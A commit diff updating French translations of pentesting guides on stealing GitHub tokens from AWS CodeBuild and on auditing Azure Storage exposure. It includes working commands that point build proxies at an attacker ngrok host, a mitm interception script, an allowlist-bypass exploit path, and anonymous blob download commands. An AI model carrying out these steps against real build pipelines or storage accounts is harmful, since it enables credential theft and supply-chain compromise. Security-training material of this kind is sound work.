Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-stor

This commit is contained in:
Translator
2026-01-18 22:26:13 +00:00
parent 41775cc0f9
commit c074ccdca3
2 changed files with 116 additions and 116 deletions

View File

@@ -2,43 +2,43 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Récupérer les Tokens configurés pour Github/Bitbucket
## Récupérer les Tokens configurés Github/Bitbucket
Tout d'abord, vérifiez s'il y a des source credentials configurés que vous pourriez leak:
Tout d'abord, vérifiez s'il existe des source credentials configurées que vous pourriez leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
Si vous constatez que l'authentification, par exemple pour Github, est configurée dans le compte, vous pouvez **exfiltrate** cet **access** (**GH token or OAuth token**) en faisant en sorte que Codebuild **use an specific docker image** pour exécuter la build du projet.
Si vous découvrez qu'une authentification, par exemple Github, est configurée dans le compte, vous pouvez **exfiltrate** cet **access** (**GH token or OAuth token**) en faisant en sorte que Codebuild **use an specific docker image** pour exécuter la build du projet.
Pour cela vous pouvez **créer un nouveau projet Codebuild** ou modifier l'**environment** d'un projet existant pour définir la **Docker image**.
Pour cela vous pouvez **create a new Codebuild project** ou modifier l'**environment** d'un projet existant pour définir le **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Il s'agit d'une image Docker très basique qui va définir les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui va définir les **env variables `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au SSL CERT indiqué dans **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Suivez les instructions du repo pour définir l'adresse IP de votre proxy, configurer votre certificat SSL et **build the docker image**.
- **DO NOT SET `http_proxy`** afin de ne pas intercepter les requêtes vers le metadata endpoint.
- Vous pouvez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte
- Suivez les instructions du repo pour définir l'adresse IP de votre proxy, ajouter votre certificat SSL et **build the docker image**.
- **DO NOT SET `http_proxy`** pour ne pas intercepter les requêtes vers le metadata endpoint.
- Vous pouvez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
- Une fois l'image Docker construite, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Créez un **nouveau Codebuild project** ou **modifiez** l'environnement d'un projet existant.
- Configurez le projet pour utiliser l'**image Docker générée précédemment**
- Create a **new Codebuild project** ou **modify** l'environnement d'un projet existant.
- Configurez le projet pour utiliser la **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
- Comme indiqué dans le **Github repo** vous pouvez utiliser quelque chose comme:
- Comme indiqué dans le **Github repo** vous pouvez utiliser quelque chose comme :
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10 cela pourrait ne pas fonctionner.
4. **Exécuter le build & capture the credentials**
4. **Lancer le build et capturer les identifiants**
- Vous pouvez voir le token dans l'en-tête **Authorization**:
- Vous pouvez voir le token dans l'en-tête **Authorization** :
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
**Codebuild** projects ont un paramètre appelé **`insecureSsl`** qui est caché dans l'interface web ; vous ne pouvez le modifier que via l'API.\
L'activer permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** présenté par la plateforme.
**Codebuild** projects ont un paramètre nommé **`insecureSsl`** qui est caché dans l'interface web, vous ne pouvez le modifier que via l'API.\
L'activation de ce paramètre permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** fourni par la plateforme.
- Commencez par énumérer la configuration actuelle avec quelque chose comme :
- D'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre de projet **`insecureSsl`** à **`True`**. Voici un exemple de ma mise à jour d'un projet, remarquez **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez modifier par rapport à la configuration recueillie).
- De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
- Ensuite, avec les informations collectées vous pouvez mettre à jour le paramètre de projet **`insecureSsl`** à **`True`**. L'exemple suivant montre ma mise à jour d'un projet, remarquez **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez changer par rapport à la configuration récupérée).
- De plus, ajoutez aussi les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
Ensuite, lancez l'exemple de base disponible sur [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
- Ensuite, exécutez l'exemple de base disponible sur [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Enfin, cliquez sur **Build the project**, les **identifiants** seront **envoyés en clair** (base64) au port mitm :
- Enfin, cliquez sur **Build the project**, les **credentials** seront **envoyées en clair** (base64) au port mitm :
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via le protocole HTTP~~
### ~~Via HTTP protocol~~
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus l'exploiter :)**
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment pendant la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus en profiter :)**
Un attaquant disposant de **permissions élevées sur un CodeBuild pourrait leak le token Github/Bitbucket configuré**, ou, si les permissions sont configurées via OAuth, **le token OAuth temporaire utilisé pour accéder au code**.
Un attaquant disposant de **permissions élevées sur un CodeBuild pourrait leak le token Github/Bitbucket** configuré ou, si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild en les pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Ensuite, changez l'URL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions`
- Ensuite, lancez l'exemple basique depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
- Ensuite, lancez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,29 +158,29 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
- Ensuite, cliquez sur **Build the project** ou lancez la build depuis la ligne de commande :
```sh
aws codebuild start-build --project-name <proj-name>
```
- Enfin, les **credentials** seront **envoyées en clair** (base64) au port mitm :
- Enfin, les **credentials** seront **sent in clear text** (base64) au port mitm :
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Un attaquant pourra désormais utiliser le token depuis sa machine, lister tous les privilèges qu'il possède et en abuser plus facilement que s'il utilisait le service CodeBuild directement.
> Maintenant, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges qu'il possède et l'(ab)user plus facilement que s'il utilisait directement le service CodeBuild.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
## Bypass de l'allowlist regex ACTOR_ID du Webhook filter (builds privilégiés déclenchés par PR)
Les webhooks GitHub de CodeBuild mal configurés qui utilisent des regex `ACTOR_ID` non ancrées permettent à des PR *non fiables* de lancer des builds privilégiés. Si l'allowlist ressemble à `123456|7890123` sans `^`/`$`, tout ID contenant l'une de ces sous-chaînes correspond. Parce que les user IDs GitHub sont séquentiels, un attaquant peut se précipiter pour enregistrer un ID « eclipsing » (une superchaîne d'un ID de confiance) et déclencher le build.
Les webhooks CodeBuild GitHub mal configurés qui utilisent des regex `ACTOR_ID` non ancrées permettent à des PRs *non fiables* de lancer des builds privilégiés. Si l'allowlist est du type `123456|7890123` sans `^`/`$`, tout ID contenant l'une de ces sous-chaînes matche. Comme les IDs utilisateurs GitHub sont séquentiels, un attaquant peut se précipiter pour enregistrer un ID "eclipsing" (une superstring d'un ID de confiance) et déclencher le build.
**Chemin d'exploitation**
**Exploit path**
1. Trouver des projets CodeBuild publics exposant des webhook filters et extraire une allowlist `ACTOR_ID` non ancrée.
2. Obtenir un GitHub ID eclipsing :
1. Trouver des projets publics CodeBuild exposant des webhook filters et extraire une allowlist `ACTOR_ID` non ancrée.
2. Obtenir un eclipsing GitHub ID :
- Échantillonner le compteur d'ID global en créant/supprimant des orgs GitHub (les org IDs partagent le pool).
- Pré-créer de nombreuses GitHub App manifest creations et déclencher les confirmation URLs quand le compteur est à ~100 IDs de la cible pour enregistrer en rafale un bot ID contenant la sous-chaîne de confiance.
- Pré-stager de nombreuses créations de GitHub App manifest et déclencher les URLs de confirmation lorsque le compteur est à ~100 IDs de la cible pour burst-register un bot ID contenant la sous-chaîne de confiance.
3. Ouvrir une PR depuis le compte eclipsing ; la regex correspond à la sous-chaîne et le build privilégié s'exécute.
4. Utiliser build RCE (p.ex., dependency install hooks) pour dumper la mémoire du process manipulant les credential GitHub et récupérer le token PAT/OAuth.
4. Utiliser build RCE (par ex., hooks d'installation de dépendances) pour dumper la mémoire du processus qui gère la GitHub credential et récupérer le PAT/OAuth token.
5. Avec le scope `repo` du token, inviter votre compte comme collaborator/admin et pousser/approuver des commits malveillants ou exfiltrer des secrets.
## References

View File

@@ -4,24 +4,24 @@
## Informations de base
Les Azure Storage Accounts sont des services fondamentaux dans Microsoft Azure qui fournissent un stockage cloud évolutif, sécurisé et hautement disponible pour divers types de données, y compris les blobs (binary large objects), les fichiers, les queues et les tables. Ils servent de conteneurs regroupant ces différents services de stockage sous un seul espace de noms pour une gestion simplifiée.
Azure Storage Accounts sont des services fondamentaux de Microsoft Azure qui fournissent un stockage cloud évolutif, sécurisé et hautement disponible pour différents types de données, y compris blobs (binary large objects), files, queues et tables. Ils servent de conteneurs regroupant ces différents services de stockage sous un même namespace pour une gestion simplifiée.
**Principales options de configuration** :
- Chaque compte de stockage doit avoir un **nom unique sur l'ensemble d'Azure**.
- Chaque compte de stockage est déployé dans une **région** ou dans une zone étendue Azure.
- Il est possible de sélectionner la version **premium** du compte de stockage pour de meilleures performances.
- Il est possible de choisir parmi **4 types de redondance pour se protéger** contre les pannes de rack, de disque et de centre de données.
- Chaque storage account doit avoir un **nom unique dans tout Azure**.
- Chaque storage account est déployé dans une **région** ou dans une zone étendue Azure.
- Il est possible de sélectionner la **version premium** du storage account pour de meilleures performances.
- Il est possible de choisir parmi **4 types de redondance** pour se protéger contre les pannes de rack, disque et datacenter.
**Options de configuration de sécurité** :
- **Require secure transfer for REST API operations** : Exiger TLS pour toute communication avec le storage.
- **Allows enabling anonymous access on individual containers** : Si non activé, il ne sera pas possible d'activer l'accès anonyme plus tard.
- **Enable storage account key access** : Si désactivé, l'accès avec Shared Keys sera interdit.
- **Allows enabling anonymous access on individual containers** : Sinon, il ne sera pas possible d'activer l'accès anonyme ultérieurement.
- **Enable storage account key access** : Sinon, l'accès avec Shared Keys sera interdit.
- **Minimum TLS version**
- **Permitted scope for copy operations** : Autoriser depuis n'importe quel storage account, depuis n'importe quel storage account du même Entra tenant ou depuis des storage account avec private endpoints dans le même virtual network.
- **Permitted scope for copy operations** : Autoriser depuis n'importe quel storage account, depuis n'importe quel storage account du même tenant Entra ou depuis des storage account avec private endpoints dans le même virtual network.
**Options Blob Storage** :
**Blob Storage options** :
- **Allow cross-tenant replication**
- **Access tier** : Hot (données fréquemment consultées), Cool et Cold (données rarement consultées)
@@ -29,29 +29,29 @@ Les Azure Storage Accounts sont des services fondamentaux dans Microsoft Azure q
**Options réseau** :
- **Network access** :
- Autoriser depuis tous les réseaux
- Autoriser depuis des virtual networks et des adresses IP sélectionnés
- Désactiver l'accès public et utiliser l'accès privé
- **Private endpoints** : Permet une connexion privée au compte de stockage depuis un virtual network
- Allow from all networks
- Allow from selected virtual networks and IP addresses
- Disable public access and use private access
- **Private endpoints** : Permet une connexion privée au storage account depuis un virtual network
**Options de protection des données** :
- **Point-in-time restore for containers** : Permet de restaurer des containers à un état antérieur
- Cela nécessite l'activation de la versioning, du change feed et du blob soft delete.
- **Enable soft delete for blobs** : Active une période de rétention en jours pour les blobs supprimés (même écrasés)
- **Enable soft delete for containers** : Active une période de rétention en jours pour les containers supprimés
- **Enable soft delete for file shares** : Active une période de rétention en jours pour les file shares supprimés
- **Enable versioning for blobs** : Conserver les versions précédentes de vos blobs
- **Enable blob change feed** : Conserver des logs de création, modification et suppression des blobs
- **Enable version-level immutability support** : Permet de définir une politique de rétention basée sur le temps au niveau du compte qui s'appliquera à toutes les versions de blob.
- Le support d'immuabilité au niveau des versions et la restauration point-in-time pour les containers ne peuvent pas être activés simultanément.
- **Point-in-time restore for containers** : Permet de restaurer des containers à un état antérieur.
- Cela nécessite l'activation de versioning, change feed, et blob soft delete.
- **Enable soft delete for blobs** : Active une période de rétention en jours pour les blobs supprimés (même écrasés).
- **Enable soft delete for containers** : Active une période de rétention en jours pour les containers supprimés.
- **Enable soft delete for file shares** : Active une période de rétention en jours pour les file shares supprimés.
- **Enable versioning for blobs** : Conserve les versions précédentes de vos blobs.
- **Enable blob change feed** : Conserve des logs de création, modification et suppression des blobs.
- **Enable version-level immutability support** : Permet de définir une politique de rétention temporelle au niveau du compte qui s'appliquera à toutes les versions de blobs.
- Version-level immutability support et point-in-time restore for containers ne peuvent pas être activés simultanément.
**Options de chiffrement** :
- **Encryption type** : Il est possible d'utiliser des clés gérées par Microsoft (MMK) ou des clés gérées par le client (CMK)
- **Enable infrastructure encryption** : Permet de chiffrer les données une seconde fois "pour plus de sécurité"
- **Encryption type** : Il est possible d'utiliser Microsoft-managed keys (MMK) ou Customer-managed keys (CMK).
- **Enable infrastructure encryption** : Permet de chiffrer doublement les données "pour plus de sécurité".
### Endpoints de stockage
### Storage endpoints
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
@@ -60,16 +60,16 @@ Les Azure Storage Accounts sont des services fondamentaux dans Microsoft Azure q
Si "Allow Blob public access" est **activé** (désactivé par défaut), lors de la création d'un container il est possible de :
- Donner un **accès public en lecture aux blobs** (il faut connaître le nom).
- **Lister les blobs d'un container** et les **lire**.
- Le rendre totalement **privé**
- **Lister les blobs du container** et les **lire**.
- Le rendre complètement **privé**.
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
### Static website (`$web`) exposure & leaked secrets
### Exposition du site statique (`$web`) & leaked secrets
- **Static websites** sont servies depuis le conteneur spécial `$web` via un endpoint spécifique à la région tel que `https://<account>.z13.web.core.windows.net/`.
- Le conteneur `$web` peut renvoyer `publicAccess: null` via la blob API, mais les fichiers restent accessibles via le endpoint du site statique, donc déposer des artifacts de config/IaC là-bas peut leak secrets.
- Quick audit workflow:
- **Static websites** sont servies depuis le container spécial `$web` via un endpoint spécifique à la région, par exemple `https://<account>.z13.web.core.windows.net/`.
- Le container `$web` peut renvoyer `publicAccess: null` via l'API blob, mais les fichiers restent accessibles via l'endpoint du site statique, donc déposer des artefacts de config/IaC là-bas peut leak des secrets.
- Flux de travail d'audit rapide:
```bash
# Identify storage accounts with static website hosting enabled
az storage blob service-properties show --account-name <acc-name> --auth-mode login
@@ -80,21 +80,21 @@ az storage blob list --container-name '$web' --account-name <acc-name> --auth-mo
# Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS)
az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name <acc-name> --auth-mode login
```
### Auditer l'exposition anonyme des blobs
### Audit de l'exposition anonyme des blobs
- **Localiser les comptes de stockage** pouvant exposer des données : `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Si `allowBlobPublicAccess` est `false`, vous ne pouvez pas rendre les conteneurs publics.
- **Inspecter les comptes à risque** pour confirmer le flag et d'autres paramètres faibles : `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **Énumérer l'exposition au niveau des conteneurs** lorsque le flag est activé:
- **Localisez les storage accounts** pouvant exposer des données : `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Si `allowBlobPublicAccess` est `false` vous ne pouvez pas rendre les containers publics.
- **Inspectez les comptes risqués** pour confirmer le flag et d'autres paramètres faibles : `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **Énumérez l'exposition au niveau du container** lorsque le flag est activé:
```bash
az storage container list --account-name <acc> \
--query '[].{name:name, access:properties.publicAccess}'
```
- `"Blob"`: accès en lecture anonyme autorisé **uniquement lorsque le nom du blob est connu** (pas de listing).
- `"Container"`: **liste + lecture** anonymes de tous les blobs.
- `"Blob"`: accès en lecture anonyme autorisé **uniquement lorsque le nom du blob est connu** (sans possibilité de lister).
- `"Container"`: **liste + lecture** anonymes de chaque blob.
- `null`: privé ; authentification requise.
- **Prouver l'accès** sans identifiants :
- Si `publicAccess` est `Container`, le listing anonyme fonctionne : `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- Pour `Blob` et `Container`, le téléchargement anonyme d'un blob fonctionne lorsque le nom est connu :
- Pour `Blob` et `Container`, le téléchargement anonyme d'un blob fonctionne lorsque son nom est connu :
```bash
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
# or via raw HTTP
@@ -102,13 +102,13 @@ curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
```
### Se connecter au stockage
Si vous trouvez un **stockage** auquel vous pouvez vous connecter, vous pouvez utiliser l'outil [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) pour ce faire.
Si vous trouvez un **compte de stockage** auquel vous pouvez vous connecter, vous pouvez utiliser l'outil [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) pour ce faire.
## Accès au stockage <a href="#about-blob-storage" id="about-blob-storage"></a>
### RBAC
Il est possible d'utiliser des principals Entra ID avec des **rôles RBAC** pour accéder aux comptes de stockage, et c'est la méthode recommandée.
Il est possible d'utiliser des principals Entra ID avec des **RBAC roles** pour accéder aux comptes de stockage ; c'est la méthode recommandée.
### Clés d'accès
@@ -118,15 +118,15 @@ Les comptes de stockage disposent de clés d'accès qui peuvent être utilisées
### **Shared Keys & Lite Shared Keys**
Il est possible de [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signées avec les clés d'accès pour autoriser l'accès à certaines ressources via une URL signée.
Il est possible de [**générer des Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signées avec les clés d'accès pour autoriser l'accès à certaines ressources via une URL signée.
> [!NOTE]
> Notez que la partie `CanonicalizedResource` représente la ressource du service de stockage (URI). Et si une partie de l'URL est encodée, elle doit également être encodée dans la `CanonicalizedResource`.
> Notez que la partie `CanonicalizedResource` représente la ressource du service de stockage (URI). Et si une partie de l'URL est encodée, elle doit également être encodée à l'intérieur de la `CanonicalizedResource`.
> [!NOTE]
> Ceci est **utilisé par défaut par la `az` cli** pour authentifier les requêtes. Pour qu'elle utilise les identifiants du principal Entra ID, indiquez le paramètre `--auth-mode login`.
> Ceci est **utilisé par défaut par `az` cli** pour authentifier les requêtes. Pour qu'il utilise les identifiants du principal Entra ID, précisez le paramètre `--auth-mode login`.
- Il est possible de générer une **shared key for blob, queue and file services** en signant les informations suivantes:
- Il est possible de générer une **shared key for blob, queue and file services** en signant les informations suivantes :
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -143,7 +143,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- Il est possible de générer une **shared key for table services** en signant les informations suivantes :
- Il est possible de générer une **clé partagée pour les services Table** en signant les informations suivantes :
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -151,7 +151,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- Il est possible de générer un **lite shared key for blob, queue and file services** en signant les informations suivantes :
- Il est possible de générer une **lite shared key for blob, queue and file services** en signant les informations suivantes :
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -165,7 +165,7 @@ CanonicalizedResource;
StringToSign = Date + "\n"
CanonicalizedResource
```
Ensuite, pour utiliser la clé, il suffit de la placer dans l'en-tête Authorization en respectant la syntaxe :
Ensuite, pour utiliser la clé, cela peut se faire dans l'en-tête Authorization en suivant la syntaxe :
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -179,30 +179,30 @@ Content-Length: 0
```
### **Signature d'accès partagé** (SAS)
Les Shared Access Signatures (SAS) sont des URL sécurisées et limitées dans le temps qui **accordent des permissions spécifiques pour accéder aux ressources** d'un compte Azure Storage sans exposer les clés d'accès du compte. Alors que les clés d'accès fournissent un accès administratif complet à toutes les ressources, les SAS permettent un contrôle granulaire en spécifiant les permissions (like read or write) et en définissant une date d'expiration.
Les Shared Access Signatures (SAS) sont des URL sécurisées et limitées dans le temps qui **accordent des autorisations spécifiques d'accès aux ressources** dans un compte Azure Storage sans exposer les clés d'accès du compte. Alors que les clés d'accès fournissent un accès administratif complet à toutes les ressources, les SAS permettent un contrôle granulaire en spécifiant des permissions (comme lecture ou écriture) et en définissant une date d'expiration.
#### Types de SAS
#### SAS Types
- **User delegation SAS** : Celui-ci est créé à partir d'un **Entra ID principal** qui signera le SAS et délèguera les permissions de l'utilisateur au SAS. Il ne peut être utilisé qu'avec **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Il est possible de **révoquer** tous les SAS délégués aux utilisateurs générés.
- Il est même possible de générer un delegation SAS avec des permissions "supplémentaires" par rapport à celles que possède l'utilisateur. Cependant, si le principal ne les possède pas, ça ne fonctionnera pas (no privesc).
- **Service SAS** : Celui-ci est signé en utilisant une des **clés d'accès** du compte de stockage. Il peut être utilisé pour accorder l'accès à des ressources spécifiques dans un seul service de stockage. Si la clé est renouvelée, le SAS cessera de fonctionner.
- **Account SAS** : Il est également signé avec une des **clés d'accès** du compte de stockage. Il accorde l'accès aux ressources à travers les services d'un compte de stockage (Blob, Queue, Table, File) et peut inclure des opérations au niveau service.
- **User delegation SAS** : Ceci est créé à partir d'un **principal Entra ID** qui signera le SAS et délèguera les permissions de l'utilisateur au SAS. Il ne peut être utilisé qu'avec **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Il est possible de **révoquer** tous les SAS délégués générés.
- Même s'il est possible de générer un User delegation SAS avec des permissions « plus » que celles de l'utilisateur. Cependant, si le principal ne les possède pas, cela ne fonctionnera pas (pas de privesc).
- **Service SAS** : Celui-ci est signé en utilisant l'une des **clés d'accès** du compte de stockage. Il peut être utilisé pour accorder l'accès à des ressources spécifiques dans un seul service de stockage. Si la clé est renouvelée, le SAS cessera de fonctionner.
- **Account SAS** : Il est aussi signé avec l'une des **clés d'accès** du compte de stockage. Il accorde l'accès aux ressources à travers les services d'un compte de stockage (Blob, Queue, Table, File) et peut inclure des opérations au niveau du service.
Une URL SAS signée par une **clé d'accès** ressemble à ceci :
Une URL SAS signée par une **clé d'accès** ressemble à ceci:
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
Une URL SAS signée en tant que **user delegation** ressemble à ceci :
Une URL SAS signée via **user delegation** ressemble à ceci:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
Remarquer certains **http params** :
Notez quelques **paramètres http** :
- Le paramètre **`se`** indique la **date d'expiration** du SAS
- Le paramètre **`sp`** indique les **permissions** du SAS
- Le **`sig`** est la **signature** validant le SAS
#### Permissions SAS
#### SAS permissions
Lors de la génération d'un SAS, il est nécessaire d'indiquer les permissions qu'il doit accorder. Selon l'objet sur lequel le SAS est généré, différentes permissions peuvent être incluses. Par exemple :
@@ -210,45 +210,45 @@ Lors de la génération d'un SAS, il est nécessaire d'indiquer les permissions
## SFTP Support for Azure Blob Storage
Azure Blob Storage prend désormais en charge le SSH File Transfer Protocol (SFTP), permettant le transfert et la gestion sécurisés de fichiers directement vers Blob Storage sans nécessiter de solutions personnalisées ou de produits tiers.
Azure Blob Storage supporte désormais le SSH File Transfer Protocol (SFTP), permettant le transfert et la gestion sécurisés de fichiers directement vers Blob Storage sans nécessiter de solutions personnalisées ou de produits tiers.
### Fonctionnalités clés
### Key Features
- Support de protocole : SFTP fonctionne avec les comptes Blob Storage configurés avec hierarchical namespace (HNS). Cela organise les blobs en répertoires et sous-répertoires pour une navigation plus simple.
- Sécurité : SFTP utilise des identités utilisateurs locales pour l'authentification et ne s'intègre pas avec RBAC ou ABAC. Chaque utilisateur local peut s'authentifier via :
- mots de passe générés par Azure
- paires de clés SSH publique-privée
- Permissions granulaires : des permissions telles que Read, Write, Delete et List peuvent être assignées aux utilisateurs locaux pour jusqu'à 100 containers.
- Considérations réseau : les connexions SFTP se font via le port 22. Azure prend en charge des configurations réseau comme les firewalls, private endpoints, ou virtual networks pour sécuriser le trafic SFTP.
- Protocol Support : SFTP fonctionne avec les comptes Blob Storage configurés avec hierarchical namespace (HNS). Cela organise les blobs en répertoires et sous-répertoires pour une navigation facilitée.
- Security : SFTP utilise des identités d'utilisateurs locaux pour l'authentification et ne s'intègre pas à RBAC ou ABAC. Chaque utilisateur local peut s'authentifier via :
- Azure-generated passwords
- Public-private SSH key pairs
- Granular Permissions : Des permissions telles que Read, Write, Delete et List peuvent être assignées aux utilisateurs locaux pour jusqu'à 100 containers.
- Networking Considerations : Les connexions SFTP s'effectuent via le port 22. Azure prend en charge des configurations réseau comme les firewalls, private endpoints ou virtual networks pour sécuriser le trafic SFTP.
### Exigences d'installation
### Setup Requirements
- Hierarchical Namespace : HNS doit être activé lors de la création du compte de stockage.
- Chiffrement supporté : nécessite des algorithmes cryptographiques approuvés par Microsoft Security Development Lifecycle (SDL) (par ex. rsa-sha2-256, ecdsa-sha2-nistp256).
- Configuration SFTP :
- Activer SFTP sur le compte de stockage.
- Créer des identités utilisateurs locales avec les permissions appropriées.
- Configurer des home directories pour les utilisateurs afin de définir leur point de départ dans le container.
- Supported Encryption : Nécessite des algorithmes cryptographiques approuvés par Microsoft Security Development Lifecycle (SDL) (ex. rsa-sha2-256, ecdsa-sha2-nistp256).
- SFTP Configuration :
- Enable SFTP on the storage account.
- Create local user identities with appropriate permissions.
- Configure home directories for users to define their starting location within the container.
### Permissions
| Permission | Symbol | Description |
| Permission | Symbole | Description |
| ---------------------- | ------ | ------------------------------------ |
| **Read** | `r` | Lire le contenu du fichier. |
